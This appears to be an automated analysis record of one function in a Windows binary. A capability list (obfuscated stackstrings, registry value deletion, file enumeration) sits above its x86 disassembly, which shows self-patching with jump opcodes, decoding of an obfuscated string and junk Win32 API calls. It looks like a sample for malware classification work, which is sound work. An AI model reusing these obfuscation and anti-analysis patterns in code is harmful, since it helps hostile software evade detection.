Function at 0xa7e000
Capabilities:
Contain obfuscated stackstrings
Delete registry value
Enumerate files on windows
Get session user name
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
mov dword [ebp - 0x10], 0xa7e81c
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp eax, 0xe9
jne 0xa7e036
mov eax, dword [ebp - 0x10]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 4], 0
mov dword [ebp - 0x20], 0xa7e1fa
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jae 0xa7e0b8
call fcn.0045b7d2
cdq
push 0xf
pop ecx
idiv ecx
add edx, 0xa
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jb 0xa7e07a
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xc]
mov byte [ebp - 1], al
jmp 0xa7e094
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
cmp ecx, 2
jae 0xa7e094
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0xc]
mov byte [eax], 0xeb
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0xc]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0xa7e04a
mov byte [ebp - 0x78], 3
mov byte [ebp - 0x77], 0x21
mov byte [ebp - 0x76], 8
mov byte [ebp - 0x75], 0x73
mov byte [ebp - 0x74], 0
mov byte [ebp - 0x73], 0x77
mov byte [ebp - 0x72], 7
mov byte [ebp - 0x71], 0x68
mov byte [ebp - 0x70], 0x1c
mov byte [ebp - 0x6f], 0x49
mov byte [ebp - 0x6e], 0x3d
mov byte [ebp - 0x6d], 0x18
mov byte [ebp - 0x6c], 0x4e
mov byte [ebp - 0x6b], 0x8a
mov byte [ebp - 0x6a], 0xab
mov byte [ebp - 0x69], 0x7b
mov byte [ebp - 0x68], 0x60
mov byte [ebp - 0x67], pe_nt_image_headers32
mov byte [ebp - 0x66], 0x43
mov byte [ebp - 0x65], 0x26
mov byte [ebp - 0x64], 0x4e
mov byte [ebp - 0x63], 0x91
mov byte [ebp - 0x62], 2
mov byte [ebp - 0x61], 0xad
mov byte [ebp - 0x60], 0xa6
mov byte [ebp - 0x5f], 0
mov byte [ebp - 0x5e], 0x93
mov byte [ebp - 0x5d], 0xa5
mov byte [ebp - 0x5c], 0xfd
mov byte [ebp - 0x5b], 0x7e
mov byte [ebp - 0x5a], 0xce
mov byte [ebp - 0x59], 0x13
mov byte [ebp - 0x58], 0x91
mov byte [ebp - 0x57], 0x62
mov byte [ebp - 0x56], 0x80
mov byte [ebp - 0x55], 0x25
mov byte [ebp - 0x54], 1
mov byte [ebp - 0x53], 0x7e
mov byte [ebp - 0x52], 2
mov byte [ebp - 0x51], 0x79
mov byte [ebp - 0x50], 6
mov byte [ebp - 0x4f], 0x7b
mov byte [ebp - 0x4e], 9
mov byte [ebp - 0x4d], 0x78
mov byte [ebp - 0x4c], 5
mov byte [ebp - 0x4b], 0x7a
mov byte [ebp - 0x4a], 4
mov byte [ebp - 0x49], 0x8a
and dword [ebp - 8], 0
and dword [ebp - 0x24], 0
jmp 0xa7e18a
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x30
jae 0xa7e1ef
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x78]
lea eax, [eax + eax + 2]
cmp dword [ebp - 8], eax
jne 0xa7e1b6
mov dword [ebp - 0x24], 0x1c
mov eax, dword [ebp - 8]
add eax, 0x1a
mov dword [ebp - 8], eax
jmp 0xa7e182
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x77]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jge 0xa7e1de
mov eax, dword [ebp - 0x18]
add eax, 0x100
mov dword [ebp - 0x18], eax
jmp 0xa7e1cb
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x78]
mov cl, byte [ebp - 0x18]
mov byte [ebp + eax - 0x30], cl
jmp 0xa7e182
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x30], 0
push 0
push 0xa72ada
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x48]
call fcn.004074c8
mov ecx, eax
call fcn.00402d2d
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x48]
call fcn.00402cd1
and dword [ebp - 0x1c], 0
jmp 0xa7e232
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xb
jae 0xa7e242
mov eax, dword [ebp - 0x1c]
mov byte [ebp + eax - 0x30], 0
jmp 0xa7e22b
push 0x171b
push 0
push 0
call dword [sym.imp.GDI32.dll_TranslateCharsetInfo]
push 0x1c6d
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PolyPolyline]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_CreateDialogParamA]
push 0x177c
push 0x240b
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawFrameControl]
push 0x4b
push 0x86f
push 0
call dword [sym.imp.USER32.dll_EnableMenuItem]
push 0
push 0
call dword [sym.imp.GDI32.dll_RectInRegion]
push 0xa1b
push 0x908
push 0x1819
push 0xfe0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExcludeClipRect]
push 0
push 0x17e0
push 0x1794
push 0x1109
push 0xf1d
push 0x492
push 0xdd7
push 0x10ed
push 0x1faa
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
push 0x1ed4
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetMapMode]
push 0x15df
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 1
push 0
push 0x114a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetScrollInfo]
push 0
push 0x1f65
push 0xcab
push 0x1df0
call dword [sym.imp.KERNEL32.dll_RaiseException]